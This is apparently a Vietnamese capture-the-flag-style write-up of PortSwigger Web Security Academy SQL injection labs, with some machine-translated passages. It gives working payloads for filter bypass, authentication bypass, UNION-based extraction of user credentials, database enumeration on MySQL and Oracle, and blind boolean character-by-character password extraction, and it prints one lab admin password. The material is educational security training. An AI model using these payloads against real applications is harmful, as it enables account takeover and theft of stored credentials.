# Portswigger writeup
## Topic1 : SQL Injection
### Lab1:
Yêu cầu của lab này là sqli để hiện tất cả các danh mục sản phẩm một trang [web shopping](https://0a3300d103e508e3c4f682a5002c001e.web-security-academy.net/). Web này bị chứa lỗi sqli trong khi chọn danh mục sản phẩm. Khi người dùng chọn một danh mục, ứng dụng này sẽ thực hiện một truy vấn:
```sql=
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
Như vậy để giải quyết bài toán chúng ta chỉ cần sửa đổi tham số category thành `'+OR+1=1--`
Dùng burp chúng ta có thể dễ dàng giải quyết được lab này.
### Lab2:
Yêu cầu của lab này là đăng nhập vào [web](https://0a00007303218104c23f621100f300dc.web-security-academy.net/) bằng tài khoản administrator.
Khi người dùng thực hiện đăng nhập bằng tài khoản và mật khẩu ứng dụng sẽ kiểm tra thông tin đăng nhập bằng cách thực hiện truy vấn SQL sau:
```sql=
SELECT * FROM users WHERE username = 'username' AND password = 'password'
```
Nếu thông tin đăng nhập đúng thì người dùng sẽ đăng nhập thành công, ngược lại thông tin đăng nhập sai thì ứng dụng sẽ từ chối đăng nhập.
Như vậy kẻ tấn công có thể đăng nhập tài khoản của bất kì người dùng nào mà không cần mật khẩu bằng cách sử dụng chuỗi nhận xét trong SQL `--`. Ví dụ:
```sql=
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```
Như thực hiện truy vấn trên kẻ tấn công có thể đăng nhập vào tải khoản administrator mà không cần mật khẩu vì chuỗi nhận xét trong SQL(`--`) sẽ xóa mật khẩu tại mệnh đề WHERE trong câu lệnh truy vấn.
Vậy để hoàn thành được lab ta cần dùng công cụ burpsuite để chặn thông tin đăng nhập đồng thời sử đổi tham số username thành `administrator'--` rồi gửi lên web.
### Lab3: Tấn công SQL Injection UNION, tìm số lượng cột được trả về bởi truy vấn.
Lab này yêu cầu chúng ta xác định số lượng cột được trả về bởi truy vấn bằng cách sử dụng toán tử UNION.
Nếu chưa biết các bạn có thể tìm hiểu thêm về toán tử UNION [tại đây](https://quantrimang.com/hoc/toan-tu-union-trong-sql-server-148035).
Xác định số cột trong khi tấn công SQLi là một điều cần thiết. Vì khi biết được số cột ta có thể xác định được cấu trúc của cơ sở dữ liệu. Thông qua đó, chúng ta có thể tấn công thay đổi, xóa hoặc cập nhật dữ liệu. Nó cũng có thể được sử dụng để truy vấn dữ liệu của bạn và cung cấp các thông tin về lổ hổng bảo mật của hệ thống.
Có 2 phương pháp để xác định số cột trong được trả từ truy vấn ban đầu
* Phương pháp thứ nhất là sử dụng một loạt mệnh đề ORDER BY và tăng chỉ số cột cho đến khi xảy ra lỗi. Nếu số được chỉ định vượt qua số cột thực tế truy vấn sẽ xảy ra lỗi.
Ví dụ:
`'ORDER BY 1--`
`'ORDER BY 2--`
`'ORDER BY 3--`
`etc.`
* Phương pháp thứ hai là gửi một loạt tải trọng UNION SELECT chỉ định cái giá trụ NULL khác nhau. Nếu như số lượng NULL không khớp với số cột truy vấn sẽ trả về lỗi và ngược lại truy vấn sẽ không trả về lỗi nếu số NULL khớp với số cột.
Ví dụ:
`' UNION SELECT NULL--`
`' UNION SELECT NULL,NULL--`
`' UNION SELECT NULL,NULL,NULL--`
`etc.`
Như vậy chúng ta đã biết được các phương pháp xác định số cột trong cơ sở dữ liệu. Bây giờ chúng ta sẽ quay trở lại lab.
Bạn có thể truy cập vào lab [tại đây](https://0ad2003c04e478abc0e0ef4c00020007.web-security-academy.net/).
Như ở trên yêu cầu của lab là xác định số cột của cơ sở dữ liệu, chúng ta có thể sử dụng 2 cách đã nêu ở trên để giải quyết lab.
### Lab4: Tấn công SQL Injection UNION, xác định cột chứa văn bản
Để giải quyết được lab này thì chúng ta cần giải quyết được lab3. Yêu cầu của lab là xác định cột chứa văn bản.
Bước đầu chúng ta cần sử dụng công cụ Burp Suite để chặn và sửa đổi yêu cầu đặt bộ lọc danh mục sản phẩm.
Sau đó chúng ta sẽ tiến hành tìm các cột của cơ sở dữ liệu theo 2 phương pháp đã trình bày ở bài wu lab3. Chúng ta sẽ xác minh được số cột ở đây là 3 bằng cách sử dụng tải trọng:
`'+UNION+SELECT+NULL,NULL,NULL--`
Bước tiếp theo chúng ta thử ngẫu nhiên các giá trị NULL thay bằng 'a' để tìm xem cột nào là cột chứa văn bản trong 3 cột. Ví dụ:
`'+UNION+SELECT+'abcdef',NULL,NULL--`
Nếu xảy ra lỗi hãy chuyển sang giá trị NULL tiếp theo và thử tiếp.
Chúng ta sẽ thấy được cột chứa văn bản là cột 2 thông qua truy vấn:
`' UNION SELECT NULL,'a',NULL--`
### Lab5: Tấn công UNION SQL Injection, lấy dữ liệu từ bảng khác
Lab này chứa lỗ hổng SQL Injection trong danh mục bộ lọc sản phẩm. Để giải quyết được lab này chúng ta cần phải vận dụng các kiến thức đã được nêu ở trên về cuộc tấn công UNION để lấy dữ liệu từ bảng khác. Mục tiêu của lab này là truy xuất thông tin tên người dùng và mật khẩu của tài khoản administrator và dùng nó để đăng nhập
Đầu tiên chúng ta cần xác định xem bảng này có bao nhiêu cột bằng cách sử dụng tấn công UNION hoặc sử dụng một loạt mệnh đề ORDER BY ta sẽ xác định được số cột có trong văn bản.
Ta xác định được bảng trên có 2 cột sau khi truy vấn từ mệnh đề sau được trả về đúng:
```sql=
' UNION SELECT NULL,NULL--
```
Sau khi ta đã xác định được số cột, việc tiếp theo cần làm xác định xem cột nào chứa văn bản (vì username và password đều định dạng là văn bản)
Tiếp tục tấn công UNION như trên lab ta xác định được 2 cột trên đều chứa văn bản vì:
mệnh đề trả về đúng
```sql=
' UNION SELECT 'abc','bcd'--
```
Sau đó chúng ta dùng mệnh đề sau để truy xuất dữ liệu từ bảng users
```sql=
' UNION SELECT username, password FROM users--
```
Chúng ta sẽ thấy được các username và password. Chúng ta chỉ cần tìm username là administrator rồi login là sẽ giải quyết được lab.
### Lab6: Tấn công UNION SQL Injection, truy xuất nhiều giá trị của một cột
Yêu cầu của lab này là truy xuất tất cả thông tin về tài khoản và mật khẩu của người dùng, đồng thời đăng nhập với tư cách administrator.
Cũng như các lab khác về SQL Injection việc đầu tiên chúng ta cần làm là tìm số cột có trong bảng bằng một trong hai phương pháp đã được nêu ở lab3.
```sql=
' UNION SELECT NULL,NULL--
```
Tiếp đó chúng ta xác định xem các cột nào là cột chứa văn bản
```sql=
' UNION SELECT NULL,'abc'--
```
Ta xác định được cột thứ 2 là cột chứa văn bản.
Tiếp theo tấn công UNION SQL để lấy thông tin đăng nhập của các tài khoản
```sql=
' UNION SELECT NULL,username||'~'||password FROM users--
```
Câu lệnh trên giúp chúng ta truy xuất thông tin username và password từ bảng users
(Toán tử || là toán tử dùng để nối chuỗi trong SQLite, truy vấn sẽ trả về dạng "username~password")
Sử dụng thông tin đăng nhập của tài khoản administrator ta hoàn thành được lab.
### Lab7: Tấn công SQL Injection, truy vấn nhiều loại và phiên bản của cơ sở dữ liệu trên Oracle
Yêu cầu của lab là truy xuất được thông tin về phiên bản của cơ sở dữ liệu trên Oracle.
Cũng như các lab khác chúng ta bắt đầu đi tìm xem bảng có mấy cột và cột nào là cột chứa văn bản.
Ở đây bảng gồm 2 cột
```sql
'+UNION+SELECT+'abc','def'+FROM+dual--
```
và hai cột ở đây đều là văn bản được lấy từ bảng **dual**
``
Oracle cung cấp cho bạn bảng DUAL (DUAL table), một bảng đặc biệt thuộc về schema của người dùng SYS nhưng nó có thể truy cập được cho tất cả người dùng.
``
Gửi payload sau chúng ta sẽ có được thông tin về phiên bản cơ sở dữ liệu trên Oracle
```sql
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
```
### Lab8: Tấn công SQL Injection, truy vấn loại và phiên bản của cở sở dữ liệu trên MySQL và Microsoft
### Lab9: Tấn công SQL injection, liệt kê nội dung cơ sở dữ liệu trên cơ sở dữ liệu không phải Oracle
Thực hiện truy vấn sau ta xác định được trong bảng cơ sở dữ liệu của web có 2 cột và 2 cột này đều là văn bản.
```sql
'+UNION+SELECT+'abc','def'--
```
Sau đó chúng ta gửi truy vấn tiếp theo để truy xuất danh sách các bản trong cơ sở dữ liệu
```sql
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```
```
Dạng xem INFORMATION_SCHEMA.TABLES cho phép bạn lấy thông tin về tất cả các bảng và dạng xem trong cơ sở dữ liệu. Theo mặc định, nó sẽ hiển thị cho bạn thông tin này cho từng bảng và dạng xem trong cơ sở dữ liệu.
```
| Column name | | Data type | Description |
|:-----------------:| --- |:-----------------:|:-----------------------------------------:|
| **TABLE_TYPE** | | **varchar(10)** | Type of table. Can be VIEW or BASE TABLE. |
| **TABLE_NAME** | | **sysname** | Table name. |
| **TABLE_SCHEMA** | | **nvarchar(128)** | Name of schema thatcontains the table. |
| **TABLE_CATALOG** | | **nvarchar(128)** | Table qualifier. |
Sau khi gửi truy vấn chúng ta thấy được thông tin của các bảng:
Sau đó chúng ta cần thực hiện thêm một truy vấn để lấy thông tin chi tiết của các cột trong bảng
```sql
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
```
### Lab10: Tấn công SQL Injection liệt kê cơ sở dữ liệu trên Oracle
Đầu tiên chúng ta sẽ gửi truy vấn để xác định số cột:
```sql
' order by 1--
```
Tăng dần chỉ số cho đến khi chúng ta xác định được số cột. Ở đây chúng ta xác định được số cột là 2.
Bước tiếp theo chúng ta sử dụng truy vấn UNION để xác định xem cột nào trong 2 cột đều là văn bản.
```sql
' UNION select 'a', 'a'--
```
Tuy nhiên chúng ta đang khai thác trong Oracle nên chúng ta phải thêm mệnh đề **from DUAL** vào truy vấn.
```sql
' UNION select 'a', 'a' from DUAL--
```
Sau khi gửi truy vấn chúng ta nhận được mã trả về là 200. Điều này chứng tỏ 2 cột đều là cột văn bản.
Oracle
```sql
' UNION SELECT * FROM all_tables
```
Tìm kiếm được bảng TABLE_NAME là bảng ghi tên các bảng -> thay * = TABLE_NAME
```sql
' UNION SELECT table_name, null FROM all_tables--
```
USERS_GCAPNM
```sql
' UNION SELECT column_name, null FROM all_tab_columns WHERE table_name = 'USERS_GCAPNM'--
```
USERNAME_XLGDCW:PASSWORD_QEKOBS
```sql
' UNION SELECT USERNAME_XLGDCW, PASSWORD_QEKOBS from USERS_GCAPNM--
```
administrator:siker2t88uv4c986c0cj
### Blind SQL Injection
Truy cập trang đầu của cửa hàng và sử dụng Burp Suite để chặn và sửa đổi yêu cầu có chứa TrackingIdbánh quy. Để đơn giản, giả sử giá trị ban đầu của cookie là TrackingId=xyz.
Sửa đổi TrackingIdcookie, thay đổi nó thành:
TrackingId=xyz' AND '1'='1
Xác minh rằng thông báo "Chào mừng trở lại" xuất hiện trong phản hồi.
Bây giờ thay đổi nó thành:
TrackingId=xyz' AND '1'='2
Xác minh rằng thông báo "Chào mừng trở lại" không xuất hiện trong phản hồi. Điều này chứng tỏ cách bạn có thể kiểm tra một điều kiện boolean duy nhất và suy ra kết quả.
Bây giờ thay đổi nó thành:
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
Xác minh rằng điều kiện là đúng, xác nhận rằng có một bảng tên là users.
Bây giờ thay đổi nó thành:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Xác minh rằng điều kiện là đúng, xác nhận rằng có người dùng được gọi administrator.
Bước tiếp theo là xác định có bao nhiêu ký tự trong mật khẩu của administratorngười dùng. Để thực hiện việc này, thay đổi giá trị thành:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Điều kiện này phải đúng, xác nhận rằng mật khẩu có độ dài lớn hơn 1 ký tự.
Gửi một loạt giá trị tiếp theo để kiểm tra độ dài mật khẩu khác nhau. Gửi:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
Sau đó gửi:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
Và như thế. Bạn có thể thực hiện việc này một cách thủ công bằng cách sử dụng Burp Repeater vì độ dài có thể ngắn. Khi điều kiện không còn đúng (tức là khi thông báo "Chào mừng quay lại" biến mất), bạn đã xác định được độ dài của mật khẩu, thực tế là dài 20 ký tự.
Sau khi xác định được độ dài của mật khẩu, bước tiếp theo là kiểm tra ký tự ở từng vị trí để xác định giá trị của nó. Điều này liên quan đến số lượng yêu cầu lớn hơn nhiều, vì vậy bạn cần sử dụng Burp Intruder. Gửi yêu cầu bạn đang thực hiện tới Burp Intruder bằng cách sử dụng menu ngữ cảnh.
Trong tab Vị trí của Kẻ xâm nhập Burp, thay đổi giá trị của cookie thành:
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
Điều này sử dụng SUBSTRING()để trích xuất một ký tự từ mật khẩu và kiểm tra nó với một giá trị cụ thể. Cuộc tấn công của chúng tôi sẽ xoay vòng qua từng vị trí và giá trị có thể có, kiểm tra lần lượt từng vị trí.
Đặt điểm đánh dấu vị trí tải trọng xung quanh phần cuối cùng aký tự trong giá trị cookie. Để thực hiện việc này, chỉ chọn avà nhấp vào nút "Thêm §". Sau đó, bạn sẽ thấy giá trị cookie sau đây (lưu ý các điểm đánh dấu vị trí tải trọng):
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
Để kiểm tra ký tự ở từng vị trí, bạn sẽ cần gửi tải trọng phù hợp vào vị trí tải trọng mà bạn đã xác định. Bạn có thể giả định rằng mật khẩu chỉ chứa các ký tự chữ và số viết thường. Chuyển đến tab Tải trọng, kiểm tra xem "Danh sách đơn giản" đã được chọn chưa và bên dưới Cài đặt tải trọng sẽ thêm các tải trọng trong phạm vi a - z và 0 - 9. Bạn có thể dễ dàng chọn các tải trọng này bằng cách sử dụng trình đơn thả xuống "Thêm từ danh sách".
Để có thể biết khi nào ký tự chính xác được gửi, bạn cần phải grep từng phản hồi cho biểu thức "Chào mừng trở lại". Để thực hiện việc này, hãy đi tới Tab cài đặt và phần "Grep - Match". Xóa mọi mục hiện có trong danh sách, sau đó thêm giá trị "Chào mừng trở lại".
Khởi động cuộc tấn công bằng cách nhấp vào nút "Bắt đầu tấn công" hoặc chọn "Bắt đầu tấn công" từ menu Kẻ xâm nhập.
Xem lại kết quả tấn công để tìm ra giá trị của nhân vật ở vị trí đầu tiên. Bạn sẽ thấy một cột trong kết quả có tên "Chào mừng trở lại". Một trong các hàng phải có dấu tích ở cột này. Tải trọng hiển thị cho hàng đó là giá trị của ký tự ở vị trí đầu tiên.
Bây giờ, bạn chỉ cần chạy lại cuộc tấn công cho từng vị trí ký tự khác trong mật khẩu để xác định giá trị của chúng. Để thực hiện việc này, hãy quay lại cửa sổ Burp chính và tab Vị trí của Kẻ xâm nhập Burp và thay đổi độ lệch được chỉ định từ 1 thành 2. Sau đó, bạn sẽ thấy giá trị cookie sau đây:
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
Khởi động đòn tấn công đã sửa đổi, xem lại kết quả và ghi lại ký tự ở lần bù thứ hai.
Tiếp tục quá trình kiểm tra phần bù 3, 4, v.v. cho đến khi bạn có toàn bộ mật khẩu.
Trong trình duyệt, nhấp vào "Tài khoản của tôi" để mở trang đăng nhập. Sử dụng mật khẩu để đăng nhập như administratorngười dùng.